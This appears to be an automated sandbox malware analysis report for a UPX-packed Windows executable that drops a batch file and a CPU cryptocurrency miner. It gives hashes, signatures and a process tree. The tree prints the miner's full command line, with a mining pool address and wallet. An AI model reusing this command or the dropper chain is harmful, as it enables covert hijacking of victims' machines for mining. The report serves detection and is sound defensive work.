73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
303s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
19/02/2024, 16:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
796	b2e.exe
1576	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1576	cpuminer-sse2.exe
1576	cpuminer-sse2.exe
1576	cpuminer-sse2.exe
1576	cpuminer-sse2.exe
1576	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3172-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3172 wrote to memory of 796	3172	batexe.exe	76
PID 3172 wrote to memory of 796	3172	batexe.exe	76
PID 3172 wrote to memory of 796	3172	batexe.exe	76
PID 796 wrote to memory of 2396	796	b2e.exe	77
PID 796 wrote to memory of 2396	796	b2e.exe	77
PID 796 wrote to memory of 2396	796	b2e.exe	77
PID 2396 wrote to memory of 1576	2396	cmd.exe	80
PID 2396 wrote to memory of 1576	2396	cmd.exe	80

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3172
- C:\Users\Admin\AppData\Local\Temp\9599.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9599.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9599.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9839.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2396
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\9599.tmp\b2e.exe

Filesize
10.6MB

MD5
b6905453f7b0bdf21c4a29709cf6193e

SHA1
4a4d49791b6339b84ff8fc5bcb0a1a3a50d22bd9

SHA256
42fb7a1d0f541afc41a7d12d53bd0b0d844ab5c01542cc2b91b49accd7841562

SHA512
c41d6f4ec9579e1b12809fd6af8ad5f7e3a81e0bb90f25e1d03361b24216d3eb7873ce99e1f2c4a7d6ab1457a66e10241ae75fb1a593312c1d76b19f11a63d21

Download Submit
C:\Users\Admin\AppData\Local\Temp\9599.tmp\b2e.exe

Filesize
7.8MB

MD5
b4796a428db82218b1d1c4635c2a1318

SHA1
18b1a4abf8d83c4ade62c0a33c4abda890ad8716

SHA256
e0f0f2a7906847d1e83ae90804802c121b60b2d6cbd52c44336a9900c691b4e5

SHA512
5016906539b603742df85057303e13ea7113365cd426a5586eca434d663a8f48ca7566c875d00604e6b96717c68df356c4d9fca92fee10ea88e8f6e7d1e0d58a

Download Submit
C:\Users\Admin\AppData\Local\Temp\9839.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.9MB

MD5
db9070c2c1b065fea71df06dce928e57

SHA1
793076b3f5f3ea1928f480ff0cc8ce6a56afb95e

SHA256
97659d05325e2772ed6bc2fe5515821f15f4a7d18050021c602076280d548971

SHA512
65a6bf97d3037198b8761871d3952e5cd19efe70342d15abb5610bc464cfc0d93d030bd480161a871877ef95efb6cfbc8f7cb52e2e1a06eed3d2db0404ace5a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.1MB

MD5
6d21d2d81cf38ec0c20c92965636ae90

SHA1
3e044e8a9f5b989ab116573ca2c34a385d2485e0

SHA256
c7eefc9e1ae2b8e2e5dd92d2ddc171aff4adb74697946ed115f4d4279a6fd2ec

SHA512
e29f45701d57443b2818e3d362b608dc80a888827e0cf164735ff23fe5ba24fabb7c21e5590e772ef9ae1a11cc99a6cfb3a865817a8575d0d21e36ed28e3fa48

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
fbb537310af16ac7d3ce7d85c77a0973

SHA1
e579fdc895534239061384725cb7290356643679

SHA256
9bee6c0aa54a9728909445c22db86183b622131c33c0833ce2576ec8e5ef9490

SHA512
a042c1daaffc9cec657b820236101c35f84d7aaefc181695cbf8ddb52353549f46b00087efb1cc3924ba0bab3b60462d5da25414efd11cc5d230a6fda92d2d9e

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
6435c766535cb674a6e22860f47eaa8d

SHA1
ac7d1464d29f6fa218fb891f11d6bcf4bffd821f

SHA256
b56fee64905ab43dfd5811c6543b22dfffa8e06f55ad85c9c63392b96a527e63

SHA512
3eae73ebc51d09b6b58fef36be86fc186bc828c7263af39b2752fd47a9d1f2ea9e98ca64d2390ee3ab5708694e198b90b17e337bb6b0830ee8e9f142077f5cbc

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.5MB

MD5
45387931428be0a1eea3a479e6f54b79

SHA1
573dae32a494c92fc5f7c6b7c9344731a88650d8

SHA256
28247de079fb6e96747668d03fcc2e8b375f703a5338c833e854a2c8b0b67829

SHA512
d335fa1909b309266f604dabcde7e6fe3f594894dc268893b116843987be5181d8e6e41677bdfaefc5686752847192ca0c189a289ad86bcf92d573ae7a8329a8

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/796-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/796-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1576-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/1576-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1576-42-0x0000000057CA0000-0x0000000057D38000-memory.dmp

Filesize
608KB

Download
memory/1576-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1576-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1576-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1576-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1576-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1576-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1576-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1576-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1576-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3172-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download